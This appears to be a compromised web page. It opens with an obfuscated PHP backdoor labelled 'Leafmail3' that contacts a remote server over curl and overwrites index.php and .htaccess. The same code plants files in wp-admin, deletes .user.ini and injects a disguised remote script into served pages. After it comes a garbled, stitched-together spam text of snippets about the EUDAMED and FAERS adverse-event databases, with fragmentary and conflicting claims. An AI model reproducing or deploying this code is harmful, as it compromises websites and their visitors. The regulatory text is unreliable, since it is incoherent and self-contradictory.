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<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
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Eudamed adverse event database. MDR Eudamed Functional Specifications 9 PMPF Post market performance follow up (IVD) PSP Performance study plan (IVD) PSR Periodic Summary Report on serious incidents PSUR Periodic Safety Update Report SAE Serious adverse event SIR Serious Incident Report SIN Single Identification Number for a CIPS Jan 8, 2024 · Although intended to be a future major component of adverse events reporting, the EUDAMED database is not yet fully functional and does not currently allow for the searching of vigilance data. Vigilance. Recording and reporting of adverse events (AE) and serious adverse events (SAE) in compliance with the regulatory requirements is a key aspect of a successful clinical investigation. S. In the European database of suspected adverse drug reactions, you can view data on suspected adverse drug reactions, also known as adverse drug reactions (ADRs), for medicines approved in the European Economic Area (EEA). The development and implementation of this IT system is a high priority for the Commission. These regulations affect the work of manufacturers and also the work of authorities and notified bodies. EUDAMED is integral part of the implementation of the two Medical Devices Regulations. Food and Drug Administration's (FDA) postmarketing safety surveillance program for all approved drug and therapeutic biologic products. EUDAMED will contain a living picture of the lifecycle of all products being available on the EU market. These adverse events describe suspected device-associated deaths, serious injuries, and malfunctions, with a wide range of causes (e. In the European Union Medical Device Regulation (EU MDR) there is a clear distinction made between; “Vigilance”; the identification, reporting and trending of serious incidents and the conduct of safety related corrective actions, and “Post Market Surveillance” (PMS); the monitoring of Reporting of serious adverse events (SAEs) and device deficiencies (DDs) for clinical investigationsSAE and DD reporting obligations according to MDR and MPDG. Luckily some EU member states and a few other European countries provide country-specific vigilance databanks to the public. FDA Adverse Event Reporting System supports the FDA's post-marketing safety surveillance program for all marketed drug and therapeutic biologic products. Maintains all serious incidents and adverse events. Information about vaccines used for immunization has been included in the database since January 1, 2011. Where possible, utilizing the IMDRF terms/codes for clinical risks (both the root cause and clinical impact) identified in both PMS and literature would also ensure consistency in risk The FDA Adverse Event Reporting System (FAERS or AERS) is a computerized information database designed to support the U. 1 . To prevent the recurrence of such events, various vigilance systems have been established worldwide. 1) MDR UDI and device data sets and IVDR UDI and device data sets to be registered in Eudamed and the UDI and device data dictionary; Data exchange guidelines and; a set of documents related to Machine-to-machine (M2M) data exchange; The informational webpage is available here. 12 It is time to determine adverse event causes and provide corrective actions. MDR EUDAMED is the IT system developed by the European Commission to implement Regulation (EU) 2017/745 on medical devices and Regulation (EU) 2017/746 on in vitro diagnosis medical devices. A similar database (Eudamed) exists in Europe. For further information on EUDAMED, please visit the medical devices section of the European Commission website. g. As a healthcare professional, I find this module to be most important for the safety of our patients. The FDA Adverse Event Reporting System (FAERS or AERS) is a computerized information database designed to support the U. Eudamed, in fact, not only stores data on medical devices, but also reports adverse events, audits and clinical trial results, thus contributing to the continuous evaluation of the safety and efficacy of medical devices. 2 5 1. The Eudamed database will be a multipurpose European database platform intended “to function as a registration system, a collaborative system, a notification system, a dissemination system (open to the Oct 20, 2023 · What is Eudamed? Eudamed will provide an overview of the lifecycle of medical devices available on the market in the EU. Unfortunately, you can’t access Eudamed. Publication date: March 20, 2024: March 20, 2024 © February 2024 European Commission-v. Unfortunately, the data are not publicly available but that is slated to change in 2022. Information about human blood and blood components has been included in the database since September 1, 2015. It is similar to other public government databases, such as the US FDA’s database, which contains all registered Establishments, 510(k)s and pre-market approvals, device listings, adverse events/recalls, clinical investigation data, and more. Publication date: March 20, 2024: March 20, 2024 Jun 23, 2022 · The main purpose of the EUDAMED database is to enhance traceability, cooperation, and transparency regarding medical devices in EU. The database is huge and has been split up into six different modules with specific purposes. europa. The Eudamed database is only available to competent authorities at this time. EudraVigilance is the system for managing and analysing information on suspected adverse reactions to medicines which have been authorised or being studied in clinical trials in the European Economic Area (EEA). Adverse events are an expected part of an MD’s lifecycle. 2. In order to preserve equivalence between the Swiss and EU regulations and minimise the effort for economic operators, swissdamed resembles the corresponding modules of the European database EUDAMED. you cannot search the database online Jun 6, 2019 · Latest version of the Eudamed functional specifications (v4. Jan 25, 2022 · EUDAMED – the European Database on Medical Devices – was launched to exchange information between the European Commission (EC) and national competent authorities. Oct 10, 2021 · EUDAMED is the European Database on Medical Devices. eu/tools/ eudamed. ‘Adverse Events’ no later than 10 days after becoming aware ‘Major Adverse Events’ and ‘Minor Adverse Events, whose recurrence has the potential to cause a major adverse event’ no later than 10 days after becoming aware A mandatory problem report should be submitted within 10 days of becoming aware when a patient, user or Jul 8, 2019 · In the Medical Device Directive (MDD) the concepts of Vigilance and PMS were barely distinguishable. 14. Nov 12, 2014 · Re: Accessing the Adverse Event database in EU Hi Pooja, This is an update of a post I did some time ago giving links to all the regulatory bodies around the world (including EU states) that I could find that supplied alerts etc. Aug 30, 2023 · EUDAMED is the European database for medical devices. Anyone can report an adverse event to us including members of the public, health professionals and pharmaceutical companies. EUDAMED consists of a total of six modules related to the following: actor registration, Dec 2, 2021 · In the document, which will take effect later this month, the Commission explains how to access the database, what it will do in the event of a database malfunction and its IT security measures. Sep 22, 2022 · Under the EU MDR, both pre- and post-market clinical investigations shall follow the latest requirements for Good Clinical Practice (ISO 14155:2020). To report a suspected adverse event go to: Report an adverse event or problem (consumers) Report an adverse event or problem (health professionals) Report and adverse event or problem (industry). EUDAMED mandates manufacturers to report any of the below circumstances 'Navigating EUDAMED Implementation' is a must-read for medical device manufacturers adjusting to the European Medical Device Regulations (EU-MDR, EU-IVDR). 2021, the reporting of serious adverse events (SAEs) and device deficiencies (DDs) must be carried out in accordance with the European Regulation 2017/745 (MDR) in conjunction with the Medical Another database that could be useful is a new Eudamed database, which is scheduled to be launched in May 2022, per the new EU MDR. 1. MDR EUDAMED Justification Regulation (EU) 2017/745 on medical devices and Regulation (EU) 2017/746 on in vitro diagnostic medical devices were published in the OJ on 5 April 2017, May 14, 2020 · It is unclear whether events submitted using a Summary Reporting Form in the possible 18-month window between the MDR date of application and Eudamed becoming mandatory will ever become part of the database. Since the MDR comes applicable on 26. Feb 1, 2017 · The most common question I am asked is, “How do you access the Eudamed database?” for reporting of adverse events in Europe. On this website you can view data on suspected side-effects, also known as suspected adverse drug reactions, for authorised medicines in 